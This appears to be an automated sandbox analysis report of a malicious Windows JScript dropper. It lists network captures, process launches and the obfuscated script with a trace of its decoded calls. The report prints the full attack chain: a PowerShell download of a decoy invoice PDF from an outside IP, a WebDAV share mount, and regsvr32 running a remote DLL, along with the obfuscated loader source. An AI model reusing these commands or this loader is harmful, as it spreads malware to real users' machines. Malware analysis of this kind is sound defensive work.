Jan 10, 2025 22:13:01.625572920 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 22:13:01.625585079 CET	896	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 22:13:01.625602007 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 22:13:01.625612020 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 22:13:01.625710011 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 10, 2025 22:13:01.631043911 CET	104	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49736	193.143.1.205	8888	6080	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:13:03.308059931 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:13:04.130116940 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:13:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:12:57
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js"
Imagebase:	0x7ff7c52b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:12:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Imagebase:	0x7ff691650000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:12:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:12:57
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:13:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:13:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff691650000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:13:02
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff688280000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:13:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:13:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:13:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1636,i,15796860752491602674,9238924235117510376,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mmrtloeia() {	mmrtloeia() ➔ undefined
1	zjsauouuv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jwxbqpj = this[pgxncwnh + pqcdj + pajetsjjc + fqbuntrkd + luoord + tehvodkh + qpccqrv + pkrpns] ( this[bydzwpaa + pvxyhkse + jjiuhlm + pajetsjjc + yjexv + pgxncwnh + pkrpns][xmapp + pajetsjjc + luoord + pqcdj + pkrpns + luoord + cmpkvc + litidfvba + kjjikzc + luoord + jjiuhlm + pkrpns] ( bydzwpaa + pvxyhkse + jjiuhlm + pajetsjjc + yjexv + pgxncwnh + pkrpns + cgfxk + pvxyhkse + ctjvegd + luoord + egkrto + egkrto ) [kxawv + luoord + oggri + kxawv + luoord + pqcdj + adrcu] ( ltplxr + qfusbmpii + kvrfddbmh + cohfhx + wwlpybap + xmapp + frbnp + kxawv + kxawv + kvrfddbmh + wyvpllmgv + ionfofa + wwlpybap + frbnp + pvxyhkse + kvrfddbmh + kxawv + idwovzyj + xmapp + iztzbxhf + qpccqrv + pkrpns + pajetsjjc + iztzbxhf + egkrto + ybxthgaqn + wuivanik + pqcdj + qpccqrv + luoord + egkrto + idwovzyj + tehvodkh + qpccqrv + pkrpns + luoord + pajetsjjc + qpccqrv + pqcdj + pkrpns + yjexv + iztzbxhf + qpccqrv + pqcdj + egkrto + idwovzyj + xxptqkme + iztzbxhf + jjiuhlm + pqcdj + egkrto + luoord ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rivavuft = 0 ; rivavuft < zjsauouuv[egkrto + luoord + qpccqrv + oggri + pkrpns + ctjvegd] ; ++ rivavuft )
4	{
5	if ( jwxbqpj == zjsauouuv[rivavuft] )
6	{
7	jwxbqpj = true;
8	break ;
9	}
10	}
11	if ( jwxbqpj !== true )
12	this[bydzwpaa + pvxyhkse + jjiuhlm + pajetsjjc + yjexv + pgxncwnh + pkrpns][zmnybufzc + zmkzjfl + yjexv + pkrpns] ( );
13	this[bydzwpaa + pvxyhkse + jjiuhlm + pajetsjjc + yjexv + pgxncwnh + pkrpns][xmapp + pajetsjjc + luoord + pqcdj + pkrpns + luoord + cmpkvc + litidfvba + kjjikzc + luoord + jjiuhlm + pkrpns] ( bydzwpaa + pvxyhkse + jjiuhlm + pajetsjjc + yjexv + pgxncwnh + pkrpns + cgfxk + pvxyhkse + ctjvegd + luoord + egkrto + egkrto ) [pajetsjjc + zmkzjfl + qpccqrv] ( jjiuhlm + hvogsug + adrcu + ybxthgaqn + xwbafpyt + jjiuhlm + ybxthgaqn + pgxncwnh + iztzbxhf + wquyu + luoord + pajetsjjc + fqbuntrkd + ctjvegd + luoord + egkrto + egkrto + cgfxk + luoord + zdodlcpke + luoord + ybxthgaqn + vfuzxmk + xmapp + iztzbxhf + hvogsug + hvogsug + pqcdj + qpccqrv + adrcu + ybxthgaqn + phgkv + tehvodkh + qpccqrv + vqwkkfay + iztzbxhf + gpkxcsv + luoord + vfuzxmk + bydzwpaa + luoord + litidfvba + kxawv + luoord + nwghih + zmkzjfl + luoord + fqbuntrkd + pkrpns + ybxthgaqn + vfuzxmk + cmpkvc + zmkzjfl + pkrpns + hqutlh + yjexv + egkrto + luoord + ybxthgaqn + mrpkh + pkrpns + luoord + hvogsug + pgxncwnh + mrpkh + idwovzyj + yjexv + qpccqrv + vqwkkfay + iztzbxhf + yjexv + jjiuhlm + luoord + cgfxk + pgxncwnh + adrcu + vfpnvlq + ybxthgaqn + ctjvegd + pkrpns + pkrpns + pgxncwnh + zgmlwg + xwbafpyt + xwbafpyt + mqhkfyqpd + jhibjpuz + mcomknevo + cgfxk + mqhkfyqpd + knkczmpy + mcomknevo + cgfxk + mqhkfyqpd + cgfxk + pcfsu + nivcm + hxwvn + xwbafpyt + yjexv + qpccqrv + vqwkkfay + iztzbxhf + yjexv + jjiuhlm + luoord + cgfxk + pgxncwnh + ctjvegd + pgxncwnh + phgkv + mktsu + mktsu + fqbuntrkd + pkrpns + pqcdj + pajetsjjc + pkrpns + ybxthgaqn + mrpkh + pkrpns + luoord + hvogsug + pgxncwnh + mrpkh + idwovzyj + yjexv + qpccqrv + vqwkkfay + iztzbxhf + yjexv + jjiuhlm + luoord + cgfxk + pgxncwnh + adrcu + vfpnvlq + mktsu + mktsu + jjiuhlm + hvogsug + adrcu + ybxthgaqn + xwbafpyt + jjiuhlm + ybxthgaqn + qpccqrv + luoord + pkrpns + ybxthgaqn + zmkzjfl + fqbuntrkd + luoord + ybxthgaqn + idwovzyj + idwovzyj + mqhkfyqpd + jhibjpuz + mcomknevo + cgfxk + mqhkfyqpd + knkczmpy + mcomknevo + cgfxk + mqhkfyqpd + cgfxk + pcfsu + nivcm + hxwvn + eihdab + uqbyglcnb + uqbyglcnb + uqbyglcnb + uqbyglcnb + idwovzyj + adrcu + pqcdj + vqwkkfay + wquyu + wquyu + wquyu + pajetsjjc + iztzbxhf + iztzbxhf + pkrpns + idwovzyj + mktsu + mktsu + jjiuhlm + hvogsug + adrcu + ybxthgaqn + xwbafpyt + jjiuhlm + ybxthgaqn + pajetsjjc + luoord + oggri + fqbuntrkd + vqwkkfay + pajetsjjc + mcomknevo + pcfsu + ybxthgaqn + xwbafpyt + fqbuntrkd + ybxthgaqn + idwovzyj + idwovzyj + mqhkfyqpd + jhibjpuz + mcomknevo + cgfxk + mqhkfyqpd + knkczmpy + mcomknevo + cgfxk + mqhkfyqpd + cgfxk + pcfsu + nivcm + hxwvn + eihdab + uqbyglcnb + uqbyglcnb + uqbyglcnb + uqbyglcnb + idwovzyj + adrcu + pqcdj + vqwkkfay + wquyu + wquyu + wquyu + pajetsjjc + iztzbxhf + iztzbxhf + pkrpns + idwovzyj + pcfsu + hxwvn + knkczmpy + pcfsu + mcomknevo + mqhkfyqpd + pcfsu + pcfsu + knkczmpy + mcomknevo + mqhkfyqpd + ayfvp + knkczmpy + uqbyglcnb + cgfxk + adrcu + egkrto + egkrto, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll",0,false) ➔ 0
14	}
15	pvxyhkse = "D";
16	pvxyhkse = "V";
17	pvxyhkse = "v";
18	pvxyhkse = "D";
19	pvxyhkse = "n";
20	pvxyhkse = "N";
21	pvxyhkse = "w";
22	pvxyhkse = "p";
23	pvxyhkse = "N";
24	pvxyhkse = "X";
25	pvxyhkse = "C";
26	pvxyhkse = "H";
27	pvxyhkse = "R";
28	pvxyhkse = "V";
29	pvxyhkse = "g";
30	pvxyhkse = "N";
31	pvxyhkse = "D";
32	pvxyhkse = "f";
33	pvxyhkse = "S";
34	pvxyhkse = "s";
35	pvxyhkse = "S";
36	zmkzjfl = "I";
37	zmkzjfl = "N";
38	zmkzjfl = "u";
39	xmapp = "n";
40	xmapp = "W";
41	xmapp = "l";
42	xmapp = "K";
43	xmapp = "l";
44	xmapp = "u";
45	xmapp = "v";
46	xmapp = "E";
47	xmapp = "s";
48	xmapp = "L";
49	xmapp = "F";
50	xmapp = "G";
51	xmapp = "E";
52	xmapp = "N";
53	xmapp = "j";
54	xmapp = "w";
55	xmapp = "u";
56	xmapp = "p";
57	xmapp = "I";
58	xmapp = "s";
59	xmapp = "M";
60	xmapp = "w";
61	xmapp = "w";
62	xmapp = "E";
63	xmapp = "n";
64	xmapp = "h";
65	xmapp = "X";
66	xmapp = "n";
67	xmapp = "X";
68	xmapp = "w";
69	xmapp = "x";
70	xmapp = "T";
71	xmapp = "R";
72	xmapp = "l";
73	xmapp = "H";
74	xmapp = "o";
75	xmapp = "M";
76	xmapp = "c";
77	xmapp = "d";
78	xmapp = "J";
79	xmapp = "C";
80	idwovzyj = "V";
81	idwovzyj = "W";
82	idwovzyj = "F";
83	idwovzyj = "o";
84	idwovzyj = "A";
85	idwovzyj = "x";
86	idwovzyj = "E";
87	idwovzyj = "l";
88	idwovzyj = "r";
89	idwovzyj = "X";
90	idwovzyj = "T";
91	idwovzyj = "a";
92	idwovzyj = "E";
93	idwovzyj = "\\";
94	bydzwpaa = "r";
95	bydzwpaa = "L";
96	bydzwpaa = "t";
97	bydzwpaa = "t";
98	bydzwpaa = "d";
99	bydzwpaa = "D";
100	bydzwpaa = "G";
101	bydzwpaa = "R";
102	bydzwpaa = "B";
103	bydzwpaa = "K";
104	bydzwpaa = "N";
105	bydzwpaa = "s";
106	bydzwpaa = "A";
107	bydzwpaa = "y";
108	bydzwpaa = "u";
109	bydzwpaa = "n";
110	bydzwpaa = "Q";
111	bydzwpaa = "o";
112	bydzwpaa = "Y";
113	bydzwpaa = "U";
114	bydzwpaa = "i";
115	bydzwpaa = "d";
116	bydzwpaa = "D";
117	bydzwpaa = "J";
118	bydzwpaa = "S";
119	bydzwpaa = "S";
120	bydzwpaa = "C";
121	bydzwpaa = "y";
122	bydzwpaa = "Z";
123	bydzwpaa = "W";
124	knkczmpy = "T";
125	knkczmpy = "n";
126	knkczmpy = "N";
127	knkczmpy = "k";
128	knkczmpy = "K";
129	knkczmpy = "i";
130	knkczmpy = "O";
131	knkczmpy = "J";
132	knkczmpy = "M";
133	knkczmpy = "c";
134	knkczmpy = "x";
135	knkczmpy = "x";
136	knkczmpy = "D";
137	knkczmpy = "P";
138	knkczmpy = "f";
139	knkczmpy = "X";
140	knkczmpy = "x";
141	knkczmpy = "y";
142	knkczmpy = "I";
143	knkczmpy = "m";
144	knkczmpy = "u";
145	knkczmpy = "J";
146	knkczmpy = "z";
147	knkczmpy = "E";
148	knkczmpy = "f";
149	knkczmpy = "A";
150	knkczmpy = "L";
151	knkczmpy = "G";
152	knkczmpy = "N";
153	knkczmpy = "i";
154	knkczmpy = "g";
155	knkczmpy = "y";
156	knkczmpy = "4";
157	zgmlwg = "W";
158	zgmlwg = "K";
159	zgmlwg = "O";
160	zgmlwg = "h";
161	zgmlwg = "v";
162	zgmlwg = "H";
163	zgmlwg = "X";
164	zgmlwg = "Z";
165	zgmlwg = "Y";
166	zgmlwg = "i";
167	zgmlwg = "I";
168	zgmlwg = "G";
169	zgmlwg = "i";
170	zgmlwg = "X";
171	zgmlwg = "s";
172	zgmlwg = "J";
173	zgmlwg = "w";
174	zgmlwg = "f";
175	zgmlwg = "f";
176	zgmlwg = "X";
177	zgmlwg = "T";
178	zgmlwg = "Z";
179	zgmlwg = "L";
180	zgmlwg = "f";
181	zgmlwg = "d";
182	zgmlwg = "U";
183	zgmlwg = "Q";
184	zgmlwg = "I";
185	zgmlwg = "c";
186	zgmlwg = "G";
187	zgmlwg = "F";
188	zgmlwg = "z";
189	zgmlwg = "f";
190	zgmlwg = "v";
191	zgmlwg = "E";
192	zgmlwg = "c";
193	zgmlwg = "j";
194	zgmlwg = "K";
195	zgmlwg = "C";
196	zgmlwg = ":";
197	cmpkvc = "v";
198	cmpkvc = "x";
199	cmpkvc = "H";
200	cmpkvc = "k";
201	cmpkvc = "A";
202	cmpkvc = "U";
203	cmpkvc = "i";
204	cmpkvc = "W";
205	cmpkvc = "D";
206	cmpkvc = "U";
207	cmpkvc = "q";
208	cmpkvc = "S";
209	cmpkvc = "O";
210	xxptqkme = "G";
211	xxptqkme = "B";
212	xxptqkme = "i";
213	xxptqkme = "B";
214	xxptqkme = "k";
215	xxptqkme = "E";
216	xxptqkme = "S";
217	xxptqkme = "Y";
218	xxptqkme = "R";
219	xxptqkme = "y";
220	xxptqkme = "z";
221	xxptqkme = "F";
222	xxptqkme = "s";
223	xxptqkme = "d";
224	xxptqkme = "R";
225	xxptqkme = "g";
226	xxptqkme = "A";
227	xxptqkme = "u";
228	xxptqkme = "m";
229	xxptqkme = "u";
230	xxptqkme = "B";
231	xxptqkme = "D";
232	xxptqkme = "t";
233	xxptqkme = "p";
234	xxptqkme = "l";
235	xxptqkme = "D";
236	xxptqkme = "j";
237	xxptqkme = "T";
238	xxptqkme = "S";
239	xxptqkme = "O";
240	xxptqkme = "H";
241	xxptqkme = "K";
242	xxptqkme = "z";
243	xxptqkme = "C";
244	xxptqkme = "z";
245	xxptqkme = "s";
246	xxptqkme = "M";
247	xxptqkme = "L";
248	xxptqkme = "N";
249	xxptqkme = "L";
250	egkrto = "o";
251	egkrto = "J";
252	egkrto = "z";
253	egkrto = "D";
254	egkrto = "h";
255	egkrto = "p";
256	egkrto = "n";
257	egkrto = "w";
258	egkrto = "W";
259	egkrto = "F";
260	egkrto = "h";
261	egkrto = "P";
262	egkrto = "X";
263	egkrto = "V";
264	egkrto = "f";
265	egkrto = "C";
266	egkrto = "Y";
267	egkrto = "x";
268	egkrto = "H";
269	egkrto = "i";
270	egkrto = "n";
271	egkrto = "J";
272	egkrto = "o";
273	egkrto = "f";
274	egkrto = "x";
275	egkrto = "u";
276	egkrto = "u";
277	egkrto = "I";
278	egkrto = "f";
279	egkrto = "Z";
280	egkrto = "S";
281	egkrto = "K";
282	egkrto = "f";
283	egkrto = "g";
284	egkrto = "s";
285	egkrto = "I";
286	egkrto = "m";
287	egkrto = "l";
288	egkrto = "H";
289	egkrto = "k";
290	egkrto = "w";
291	egkrto = "f";
292	egkrto = "l";
293	pajetsjjc = "B";
294	pajetsjjc = "l";
295	pajetsjjc = "o";
296	pajetsjjc = "q";
297	pajetsjjc = "k";
298	pajetsjjc = "M";
299	pajetsjjc = "q";
300	pajetsjjc = "h";
301	pajetsjjc = "P";
302	pajetsjjc = "V";
303	pajetsjjc = "L";
304	pajetsjjc = "s";
305	pajetsjjc = "u";
306	pajetsjjc = "S";
307	pajetsjjc = "p";
308	pajetsjjc = "n";
309	pajetsjjc = "l";
310	pajetsjjc = "z";
311	pajetsjjc = "Q";
312	pajetsjjc = "N";
313	pajetsjjc = "i";
314	pajetsjjc = "E";
315	pajetsjjc = "o";
316	pajetsjjc = "y";
317	pajetsjjc = "J";
318	pajetsjjc = "G";
319	pajetsjjc = "v";
320	pajetsjjc = "t";
321	pajetsjjc = "k";
322	pajetsjjc = "G";
323	pajetsjjc = "u";
324	pajetsjjc = "W";
325	pajetsjjc = "Y";
326	pajetsjjc = "h";
327	pajetsjjc = "q";
328	pajetsjjc = "r";
329	mktsu = "l";
330	mktsu = "J";
331	mktsu = "V";
332	mktsu = "A";
333	mktsu = "&";
334	yjexv = "m";
335	yjexv = "E";
336	yjexv = "T";
337	yjexv = "g";
338	yjexv = "W";
339	yjexv = "W";
340	yjexv = "X";
341	yjexv = "j";
342	yjexv = "o";
343	yjexv = "U";
344	yjexv = "n";
345	yjexv = "a";
346	yjexv = "R";
347	yjexv = "h";
348	yjexv = "A";
349	yjexv = "M";
350	yjexv = "V";
351	yjexv = "N";
352	yjexv = "V";
353	yjexv = "k";
354	yjexv = "u";
355	yjexv = "k";
356	yjexv = "Z";
357	yjexv = "v";
358	yjexv = "O";
359	yjexv = "p";
360	yjexv = "k";
361	yjexv = "T";
362	yjexv = "G";
363	yjexv = "Q";
364	yjexv = "V";
365	yjexv = "D";
366	yjexv = "D";
367	yjexv = "V";
368	yjexv = "U";
369	yjexv = "s";
370	yjexv = "Q";
371	yjexv = "I";
372	yjexv = "H";
373	yjexv = "W";
374	yjexv = "I";
375	yjexv = "i";
376	mqhkfyqpd = "j";
377	mqhkfyqpd = "L";
378	mqhkfyqpd = "v";
379	mqhkfyqpd = "s";
380	mqhkfyqpd = "1";
381	zmnybufzc = "Z";
382	zmnybufzc = "S";
383	zmnybufzc = "t";
384	zmnybufzc = "J";
385	zmnybufzc = "q";
386	zmnybufzc = "L";
387	zmnybufzc = "Z";
388	zmnybufzc = "H";
389	zmnybufzc = "Y";
390	zmnybufzc = "e";
391	zmnybufzc = "p";
392	zmnybufzc = "k";
393	zmnybufzc = "Q";
394	frbnp = "U";
395	ybxthgaqn = "V";
396	ybxthgaqn = "r";
397	ybxthgaqn = "a";
398	ybxthgaqn = "L";
399	ybxthgaqn = "t";
400	ybxthgaqn = "q";
401	ybxthgaqn = "T";
402	ybxthgaqn = "X";
403	ybxthgaqn = "p";
404	ybxthgaqn = "w";
405	ybxthgaqn = "E";
406	ybxthgaqn = "T";
407	ybxthgaqn = "F";
408	ybxthgaqn = "G";
409	ybxthgaqn = "s";
410	ybxthgaqn = "q";
411	ybxthgaqn = "d";
412	ybxthgaqn = "D";
413	ybxthgaqn = "I";
414	ybxthgaqn = "G";
415	ybxthgaqn = "u";
416	ybxthgaqn = "n";
417	ybxthgaqn = "W";
418	ybxthgaqn = " ";
419	hxwvn = "Y";
420	hxwvn = "n";
421	hxwvn = "B";
422	hxwvn = "y";
423	hxwvn = "q";
424	hxwvn = "K";
425	hxwvn = "F";
426	hxwvn = "n";
427	hxwvn = "t";
428	hxwvn = "t";
429	hxwvn = "o";
430	hxwvn = "M";
431	hxwvn = "C";
432	hxwvn = "w";
433	hxwvn = "G";
434	hxwvn = "O";
435	hxwvn = "F";
436	hxwvn = "P";
437	hxwvn = "r";
438	hxwvn = "l";
439	hxwvn = "C";
440	hxwvn = "q";
441	hxwvn = "k";
442	hxwvn = "z";
443	hxwvn = "B";
444	hxwvn = "Y";
445	hxwvn = "E";
446	hxwvn = "s";
447	hxwvn = "c";
448	hxwvn = "c";
449	hxwvn = "5";
450	fqbuntrkd = "C";
451	fqbuntrkd = "q";
452	fqbuntrkd = "z";
453	fqbuntrkd = "F";
454	fqbuntrkd = "V";
455	fqbuntrkd = "R";
456	fqbuntrkd = "h";
457	fqbuntrkd = "P";
458	fqbuntrkd = "j";
459	fqbuntrkd = "v";
460	fqbuntrkd = "o";
461	fqbuntrkd = "n";
462	fqbuntrkd = "U";
463	fqbuntrkd = "Z";
464	fqbuntrkd = "w";
465	fqbuntrkd = "b";
466	fqbuntrkd = "h";
467	fqbuntrkd = "c";
468	fqbuntrkd = "t";
469	fqbuntrkd = "f";
470	fqbuntrkd = "P";
471	fqbuntrkd = "n";
472	fqbuntrkd = "V";
473	fqbuntrkd = "D";
474	fqbuntrkd = "f";
475	fqbuntrkd = "q";
476	fqbuntrkd = "q";
477	fqbuntrkd = "J";
478	fqbuntrkd = "I";
479	fqbuntrkd = "M";
480	fqbuntrkd = "l";
481	fqbuntrkd = "E";
482	fqbuntrkd = "Z";
483	fqbuntrkd = "s";
484	pgxncwnh = "D";
485	pgxncwnh = "q";
486	pgxncwnh = "h";
487	pgxncwnh = "f";
488	pgxncwnh = "i";
489	pgxncwnh = "y";
490	pgxncwnh = "Q";
491	pgxncwnh = "U";
492	pgxncwnh = "T";
493	pgxncwnh = "w";
494	pgxncwnh = "q";
495	pgxncwnh = "f";
496	pgxncwnh = "k";
497	pgxncwnh = "q";
498	pgxncwnh = "p";
499	zdodlcpke = "F";
500	zdodlcpke = "H";
501	zdodlcpke = "X";
502	zdodlcpke = "w";
503	zdodlcpke = "H";
504	zdodlcpke = "e";
505	zdodlcpke = "K";
506	zdodlcpke = "k";
507	zdodlcpke = "I";
508	zdodlcpke = "T";
509	zdodlcpke = "k";
